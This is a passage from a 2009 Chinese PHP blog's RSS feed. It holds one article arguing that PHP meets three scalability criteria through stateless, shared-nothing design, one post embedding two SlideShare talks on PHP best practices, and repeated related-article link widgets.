                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP是可扩展的语言</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">程序语言评估标准</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F01%2F10%2Fphp-server%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP服务器变量$_SERVER详解</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2009/07/15/form-and-url-attack-methods/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PHP是可扩展的语言</title>
		<link>http://fendou.org/2009/06/07/scaling-php/</link>
		<comments>http://fendou.org/2009/06/07/scaling-php/#comments</comments>
		<pubDate>Sat, 06 Jun 2009 18:02:24 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Study & Reading]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[常识]]></category>

		<guid isPermaLink="false">http://fendou.org/?p=521</guid>
		<description><![CDATA[PHP逐渐被大家认可为一种严肃的语言，但还是很多人声称它是不可扩展的。这显然不是事实--互联网上很多最大的...<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F12%2F05%2Fvisibility-in-php%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F06%2F07%2Fscaling-php%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Visibility in PHP</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F07%2F10%2Fphp%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F06%2F07%2Fscaling-php%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP记事本程序（三）----持续改进</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F08%2F21%2Fphp-2%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F06%2F07%2Fscaling-php%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">学好PHP你需要知道什么</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F06%2F07%2Fscaling-php%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F03%2F07%2Fphp%25E4%25BB%258E%25E4%25B8%259A%25E8%2580%2585%25E7%2589%25B9%25E5%25BE%2581%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F06%2F07%2Fscaling-php%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">php从业者特征</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>PHP逐渐被大家认可为一种严肃的语言，但还是很多人声称它是不可扩展的。这显然不是事实&#8211;互联网上很多最大的应用就是使用PHP。PHP是能扩展的，原因回溯到什么是真正的扩展。对PHP的批评往往集中在根本的性能问题上，而被误解为是扩展方面的问题。</p>
<p>满足扩展的三个标准是可维护性，容易理解。任何语言都可以写出容易或者难以维护的代码，虽然有些语言让他们自己能写出极其难以维护的代码，比如Perl，但几乎没有语言是难以写出可维护代码（专门为这个设计的语言除外），通过遵循严格的代码风格知道原则和在代码中添加正确的注释，PHP系统可以很容易维护。</p>
<p>数据集增长是可扩展系统的第二个标准。在PHP应用中，数据存储和处理是完全分离的。我们完全不用去管多少数据存储在数据库中&#8211;不管多少数据，都采用相同的方式查询。PHP把数据集增长责任下方到存储层，这样就能随心所欲进行扩展而不用担心数据集的大小。</p>
<p>最后一个可扩展的标准是能容纳流量增长。PHP通过无共享体系结构实现这一点。PHP像HTTP一样是无状态的，所有的状态都由更低层次处理。PHP进程每次只响应一个请求，并且不能和服务于其他请求的进程通话。进程也无法在请求之间记住任何事。这种做法有效地隔离各个请求到独立空间中，在请求或进程之间不共享任何信息。如果需要取出上次请求的用户数据，并将它显示在下一请求中，那么就得使用底层数据存储追踪这些数据。由于这种进程和请求之间的分离，对于后续请求实际上没有必要使用同一台服务器，要处理更多的请求实际上只要通过简单的添加更多的Web服务器。他们都可以同事服务请求，并且进程之间没有任何共享数据。用户的首次请求某一台服务器，下一次则请求另一台服务器，以此类推。如果可以控制流量走向，避免他们流向僵死的服务器，那么这种分离也为无缝的故障转义提供了条件。当然这并非PHP独有，他是REST的基础原则之一。通过正确的系统设计，这个原则就可以得以应用，而不是在于具体的实现请求。</p>
<p>但不管怎么说，有时候确实需要状态共享。PHP中有几个扩展是无法做到无状态的，而且对于同一个用户，不能随意更改相应服务器。sessions扩展存放用户会话数据到本地磁盘，这要求同一用户的每个请求都访问同一台服务器。要避免这种情况，可以使用msession扩展，它使用中央网络守护进程存放绘画数据，或者自己手工存放回话数据，使用数据库或者内存缓存来实现。有些PHP扩展让PHP进程可以映射一块共享内存用于IPC。由于进程并不一定在同一台机器上，IPC实际是不可行的。作为替代方案，可以将这些行为交给下面的层次，在数据库或者内存缓存中存放共享数据。</p>
<p>如果不使用一些特定扩展，那么PHP符合可扩展系统的三个标准：容纳流量增长、允许数据集增长，并且能创建可维护的系统。</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F12%2F05%2Fvisibility-in-php%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F06%2F07%2Fscaling-php%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Visibility in PHP</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F07%2F10%2Fphp%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F06%2F07%2Fscaling-php%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP记事本程序（三）----持续改进</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F08%2F21%2Fphp-2%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F06%2F07%2Fscaling-php%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">学好PHP你需要知道什么</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F06%2F07%2Fscaling-php%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F03%2F07%2Fphp%25E4%25BB%258E%25E4%25B8%259A%25E8%2580%2585%25E7%2589%25B9%25E5%25BE%2581%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F06%2F07%2Fscaling-php%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">php从业者特征</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2009/06/07/scaling-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>关于PHP最佳实践方法的两个PPT</title>
		<link>http://fendou.org/2009/04/12/php-study-ppt/</link>
		<comments>http://fendou.org/2009/04/12/php-study-ppt/#comments</comments>
		<pubDate>Sun, 12 Apr 2009 04:48:16 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Excellence Article]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://fendou.org/?p=367</guid>
		<description><![CDATA[Best Practices of PHP Development View more presentations from Matthew Weier o&#8217;phinney. Everyday Best Practices of PHP Development View more presentations from Matthew Weier o&#8217;phinney.<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F04%2F12%2Fphp-study-ppt%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F08%2Fphp%25E8%25A7%25A3%25E6%259E%2590xml%25E6%2596%2587%25E6%25A1%25A3%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F04%2F12%2Fphp-study-ppt%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP解析XML文档</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F01%2F10%2Fphp-server%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F04%2F12%2Fphp-study-ppt%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP服务器变量$_SERVER详解</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F05%2F12%2Fphp6%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F04%2F12%2Fphp-study-ppt%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP 6 的新特性</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F03%2F07%2Fphp%25E4%25BB%258E%25E4%25B8%259A%25E8%2580%2585%25E7%2589%25B9%25E5%25BE%2581%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F04%2F12%2Fphp-study-ppt%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">php从业者特征</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<div style="width:425px;text-align:left" id="__ss_619263"><a style="font:14px Helvetica,Arial,Sans-serif;display:block;margin:12px 0 3px 0;text-decoration:underline;" href="http://www.slideshare.net/weierophinney/best-practices-of-php-development-presentation?type=presentation" title="Best Practices of PHP Development">Best Practices of PHP Development</a><object style="margin:0px" width="425" height="355"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=20080915bestpractices-1222397794787241-8&#038;stripped_title=best-practices-of-php-development-presentation" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=20080915bestpractices-1222397794787241-8&#038;stripped_title=best-practices-of-php-development-presentation" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object>
<div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;">View more <a style="text-decoration:underline;" href="http://www.slideshare.net/">presentations</a> from <a style="text-decoration:underline;" href="http://www.slideshare.net/weierophinney">Matthew Weier o&rsquo;phinney</a>.</div>
</div>
<div style="width:425px;text-align:left" id="__ss_472388"><a style="font:14px Helvetica,Arial,Sans-serif;display:block;margin:12px 0 3px 0;text-decoration:underline;" href="http://www.slideshare.net/weierophinney/everyday-best-practices-of-php-development?type=powerpoint" title="Everyday Best Practices of PHP Development">Everyday Best Practices of PHP Development</a><object style="margin:0px" width="425" height="355"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=20080614bestpractices-1213726335523088-9&#038;stripped_title=everyday-best-practices-of-php-development" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=20080614bestpractices-1213726335523088-9&#038;stripped_title=everyday-best-practices-of-php-development" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object>
<div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;">View more <a style="text-decoration:underline;" href="http://www.slideshare.net/">presentations</a> from <a style="text-decoration:underline;" href="http://www.slideshare.net/weierophinney">Matthew Weier o&rsquo;phinney</a>.</div>
</div>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F04%2F12%2Fphp-study-ppt%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F08%2Fphp%25E8%25A7%25A3%25E6%259E%2590xml%25E6%2596%2587%25E6%25A1%25A3%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F04%2F12%2Fphp-study-ppt%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP解析XML文档</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F01%2F10%2Fphp-server%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F04%2F12%2Fphp-study-ppt%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP服务器变量$_SERVER详解</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F05%2F12%2Fphp6%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F04%2F12%2Fphp-study-ppt%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP 6 的新特性</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F03%2F07%2Fphp%25E4%25BB%258E%25E4%25B8%259A%25E8%2580%2585%25E7%2589%25B9%25E5%25BE%2581%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F04%2F12%2Fphp-study-ppt%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">php从业者特征</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2009/04/12/php-study-ppt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

